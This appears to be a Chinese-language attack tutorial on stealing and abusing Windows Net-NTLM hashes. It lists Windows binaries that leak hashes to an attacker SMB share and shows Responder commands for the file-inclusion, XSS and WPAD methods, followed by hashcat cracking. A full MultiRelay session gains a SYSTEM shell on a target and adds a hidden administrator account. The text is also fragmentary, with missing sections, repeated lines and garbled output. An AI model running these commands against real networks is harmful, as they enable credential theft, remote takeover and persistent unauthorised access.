control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo

被控主机执行:$ sudo python Responder.py -I eth0 -v


0x03 通过文件包含获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x04 通过XSS获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x05 WPAD代理服务器抓取Net-NTLM hash
WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

被控主机执行:$ sudo python Responder.py -I eth0 -v -F




0x06 使用hashcat解密
安装hashcat(参考https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going)
$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat

利用hashcat暴力猜解密码  
-m:hash-type,5600对应NetNTLMv2


得到密码为123456


0x07 通过NTLM中继攻击添加用户
这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

修改Responder.conf,不启动SMB和HTTP,然后启动Responder
reber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F

利用Responder的MultiRelay模块获取shell
reber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator Guest reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$

Reference(侵删):